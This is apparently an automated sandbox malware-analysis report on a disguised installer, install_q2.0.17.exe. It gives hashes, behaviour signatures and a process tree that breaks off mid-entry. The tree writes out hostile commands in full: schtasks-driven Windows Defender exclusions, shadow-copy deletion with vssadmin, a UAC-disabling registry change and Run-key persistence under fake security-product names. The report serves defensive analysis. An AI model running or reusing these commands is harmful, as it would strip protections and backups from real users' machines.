Analysis
- max time kernel
150s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
05/09/2026, 12:12
Static task
static1
Behavioral task
behavioral1
Sample
install_q2.0.17.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_q2.0.17.exe
Resource
win11ltsc2024-20260709-en
General
- Target install_q2.0.17.exe
- Size 25.4MB
- Sample260905-pc65cstgpc
- SHA256 31cdcffef5658cb49bae2be79a0fa0358b7ebda8e894749bc1917d3b0ea3235e
- MD5 b655812c5f4efcfd8c8a813c8adf5e56
- SHA1 23dc03e925e1d3e6f7f3673361d6e630762612fd
- SHA512 6da51b95c69d76d6bbf6283d8232ac5712fb807cc6409274e7eb413dfa404ea64e6661f06c1fb019f1d9d8a86eb17764e2c8d0087798dc4b79183052f53aaf80
- SSDEEP 49152:6KL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B46E:TjAIMaQi7kmeHh2yeH7rkfvVsX+NU
- TLSH T11947E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 4EEboB.exe - Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\z85smi = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 4EEboB.exe - Modifies RDP port number used by Windows 1 TTPs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation 4EEboB.exe Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation ayMrfJ.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 6 IoCs
pid Process 4972 ayMrfJ.exe 4164 ayMrfJ.exe 2244 4EEboB.exe 4240 4EEboB.exe 504 4EEboB.exe 4544 v63JyhT.exe - Loads dropped DLL 6 IoCs
pid Process 4972 ayMrfJ.exe 4164 ayMrfJ.exe 2244 4EEboB.exe 4240 4EEboB.exe 504 4EEboB.exe 4544 v63JyhT.exe - Modifies file permissions 1 TTPs 15 IoCs
pid Process 3860 icacls.exe 2708 icacls.exe 2128 icacls.exe 3600 icacls.exe 3356 icacls.exe 3960 icacls.exe 3984 icacls.exe 1996 icacls.exe 3252 icacls.exe 4820 icacls.exe 5028 icacls.exe 4804 icacls.exe 3736 icacls.exe 1816 icacls.exe 1380 icacls.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\z85smi\\ayMrfJ.exe\"" ayMrfJ.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\4EEboB\\4EEboB.exe\"" 4EEboB.exe - Indicator Removal: Clear Persistence 1 TTPs 10 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3484 cmd.exe 4352 cmd.exe 4508 cmd.exe 2040 cmd.exe 3912 cmd.exe 4324 cmd.exe 4596 cmd.exe 624 cmd.exe 3880 cmd.exe 3108 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b ayMrfJ.exe - Drops file in Program Files directory 18 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Urg2KmsV 4EEboB.exe File created C:\Program Files (x86)\Urg2KmsV\image.png 4EEboB.exe File opened for modification C:\Program Files (x86)\4EEboB ayMrfJ.exe File created C:\Program Files (x86)\4EEboB\thumbs.db ayMrfJ.exe File opened for modification C:\Program Files (x86)\4EEboB\image.png ayMrfJ.exe File opened for modification C:\Program Files (x86)\4EEboB\thumbs.db ayMrfJ.exe File opened for modification C:\Program Files (x86)\Urg2KmsV\v63JyhT.exe 4EEboB.exe File created C:\Program Files (x86)\Urg2KmsV\thumbs.db 4EEboB.exe File created C:\Program Files (x86)\Urg2KmsV\XPSPLOG.dll 4EEboB.exe File opened for modification C:\Program Files (x86)\Urg2KmsV\XPSPLOG.dll 4EEboB.exe File created C:\Program Files (x86)\4EEboB\XPSPLOG.dll ayMrfJ.exe File opened for modification C:\Program Files (x86)\4EEboB\XPSPLOG.dll ayMrfJ.exe File created C:\Program Files (x86)\Urg2KmsV\v63JyhT.exe 4EEboB.exe File opened for modification C:\Program Files (x86)\Urg2KmsV\image.png 4EEboB.exe File opened for modification C:\Program Files (x86)\Urg2KmsV\thumbs.db 4EEboB.exe File created C:\Program Files (x86)\4EEboB\image.png ayMrfJ.exe File opened for modification C:\Program Files (x86)\4EEboB\4EEboB.exe ayMrfJ.exe File created C:\Program Files (x86)\4EEboB\4EEboB.exe ayMrfJ.exe - Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1700 sc.exe 4132 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Screensaver 1 TTPs 3 IoCs
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveActive = "0" 4EEboB.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" 4EEboB.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\SCRNSAVE.EXE 4EEboB.exe - Executes a command shell one-liner 1 TTPs 24 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 508 cmd.exe 2004 cmd.exe 404 cmd.exe 3844 cmd.exe 3712 cmd.exe 1964 cmd.exe 1844 cmd.exe 3128 cmd.exe 400 cmd.exe 2996 cmd.exe 4524 cmd.exe 1580 cmd.exe 912 cmd.exe 4804 cmd.exe 956 cmd.exe 1872 cmd.exe 1748 cmd.exe 3016 cmd.exe 3776 cmd.exe 964 cmd.exe 4180 cmd.exe 5060 cmd.exe 1864 cmd.exe 3992 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4EEboB.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4EEboB.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4EEboB.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language v63JyhT.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 4EEboB.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 4EEboB.exe - Modifies Control Panel 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\SCRNSAVE.EXE 4EEboB.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveActive = "0" 4EEboB.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" 4EEboB.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0" 4EEboB.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ ayMrfJ.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3868 schtasks.exe 2248 schtasks.exe 404 schtasks.exe 1500 schtasks.exe 4840 schtasks.exe 852 schtasks.exe 1760 schtasks.exe 4804 schtasks.exe 3960 schtasks.exe 2872 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 448 install_q2.0.17.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe 4972 ayMrfJ.exe - Suspicious behavior: LoadsDriver 4 IoCs
pid Process 644 Process not Found 644 Process not Found 644 Process not Found 644 Process not Found - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4972 wrote to memory of 2040 4972 ayMrfJ.exe 102 PID 2040 wrote to memory of 404 2040 cmd.exe 104 PID 2040 wrote to memory of 1752 2040 cmd.exe 108 PID 2040 wrote to memory of 5116 2040 cmd.exe 111 PID 4972 wrote to memory of 3912 4972 ayMrfJ.exe 113 PID 1964 wrote to memory of 5028 1964 cmd.exe 116 PID 3912 wrote to memory of 852 3912 cmd.exe 117 PID 3912 wrote to memory of 3292 3912 cmd.exe 118 PID 4972 wrote to memory of 3108 4972 ayMrfJ.exe 119 PID 4972 wrote to memory of 4324 4972 ayMrfJ.exe 122 PID 3108 wrote to memory of 1760 3108 cmd.exe 124 PID 4324 wrote to memory of 4804 4324 cmd.exe 125 PID 3912 wrote to memory of 1884 3912 cmd.exe 126 PID 3108 wrote to memory of 688 3108 cmd.exe 127 PID 4324 wrote to memory of 3352 4324 cmd.exe 128 PID 3108 wrote to memory of 1304 3108 cmd.exe 129 PID 4972 wrote to memory of 3484 4972 ayMrfJ.exe 131 PID 4324 wrote to memory of 2872 4324 cmd.exe 133 PID 3484 wrote to memory of 3960 3484 cmd.exe 134 PID 3484 wrote to memory of 3004 3484 cmd.exe 135 PID 3484 wrote to memory of 2184 3484 cmd.exe 137 PID 1872 wrote to memory of 3084 1872 cmd.exe 139 PID 1580 wrote to memory of 732 1580 cmd.exe 140 PID 4972 wrote to memory of 2244 4972 ayMrfJ.exe 141 PID 2244 wrote to memory of 1864 2244 4EEboB.exe 144 PID 2244 wrote to memory of 1748 2244 4EEboB.exe 146 PID 2244 wrote to memory of 912 2244 4EEboB.exe 148 PID 1748 wrote to memory of 3984 1748 cmd.exe 150 PID 2244 wrote to memory of 4596 2244 4EEboB.exe 151 PID 2244 wrote to memory of 3016 2244 4EEboB.exe 154 PID 2244 wrote to memory of 4804 2244 4EEboB.exe 158 PID 2244 wrote to memory of 4352 2244 4EEboB.exe 161 PID 3016 wrote to memory of 4400 3016 cmd.exe 164 PID 4596 wrote to memory of 2872 4596 cmd.exe 163 PID 4352 wrote to memory of 1500 4352 cmd.exe 165 PID 2244 wrote to memory of 624 2244 4EEboB.exe 166 PID 2244 wrote to memory of 956 2244 4EEboB.exe 167 PID 4400 wrote to memory of 2184 4400 net.exe 170 PID 956 wrote to memory of 1380 956 cmd.exe 171 PID 624 wrote to memory of 3868 624 cmd.exe 172 PID 2244 wrote to memory of 3992 2244 4EEboB.exe 173 PID 2244 wrote to memory of 3880 2244 4EEboB.exe 175 PID 4352 wrote to memory of 448 4352 cmd.exe 177 PID 4596 wrote to memory of 2708 4596 cmd.exe 178 PID 624 wrote to memory of 4456 624 cmd.exe 179 PID 4596 wrote to memory of 3000 4596 cmd.exe 184 PID 3992 wrote to memory of 2128 3992 cmd.exe 181 PID 3880 wrote to memory of 4840 3880 cmd.exe 182 PID 4352 wrote to memory of 2192 4352 cmd.exe 183 PID 624 wrote to memory of 4288 624 cmd.exe 185 PID 2244 wrote to memory of 4508 2244 4EEboB.exe 186 PID 2244 wrote to memory of 3776 2244 4EEboB.exe 188 PID 3880 wrote to memory of 3916 3880 cmd.exe 190 PID 3776 wrote to memory of 3736 3776 cmd.exe 191 PID 4508 wrote to memory of 2248 4508 cmd.exe 192 PID 3880 wrote to memory of 2104 3880 cmd.exe 193 PID 2244 wrote to memory of 964 2244 4EEboB.exe 194 PID 4508 wrote to memory of 4580 4508 cmd.exe 196 PID 964 wrote to memory of 1996 964 cmd.exe 198 PID 4508 wrote to memory of 376 4508 cmd.exe 199 PID 2244 wrote to memory of 1844 2244 4EEboB.exe 201 PID 1844 wrote to memory of 1816 1844 cmd.exe 204 PID 2244 wrote to memory of 404 2244 4EEboB.exe 205 PID 404 wrote to memory of 3252 404 cmd.exe 207 - System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 4EEboB.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install_q2.0.17.exe"C:\Users\Admin\AppData\Local\Temp\install_q2.0.17.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:448
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C:\Users\Public\z85smi\ayMrfJ.exeC:\Users\Public\z85smi\ayMrfJ.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4972 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\z85smi\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\z85smi\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:404
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1752
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:852
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3292
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1884
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1760
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:688
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1304
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4804
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3352
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3960
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3004
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2184
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C:\Program Files (x86)\4EEboB\4EEboB.exe"C:\Program Files (x86)\4EEboB\4EEboB.exe"2⤵
- UAC bypass
- Drops file in Drivers directory
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- Event Triggered Execution: Screensaver
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2244 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:1864
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1748 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3984
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:912
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\4EEboB\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4596 -
